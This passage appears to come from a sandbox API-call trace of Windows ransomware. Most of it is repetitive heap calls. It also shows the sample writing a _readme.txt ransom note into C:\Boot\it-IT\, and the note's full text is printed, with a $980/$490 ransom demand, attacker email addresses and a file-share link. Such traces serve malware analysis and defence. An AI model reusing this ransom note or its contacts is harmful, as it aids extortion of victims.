dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.116] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.117] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.117] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.118] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.118] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.119] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.119] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.119] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.119] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.119] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.119] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.119] PathFindFileNameW (pszPath="") returned="" [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.119] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.119] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.119] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.119] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.119] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.120] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0117.120] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.120] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.120] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0117.121] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.121] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.121] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.121] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.121] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.122] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.122] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.122] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.122] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.122] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.122] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.122] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.122] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.123] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.123] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] 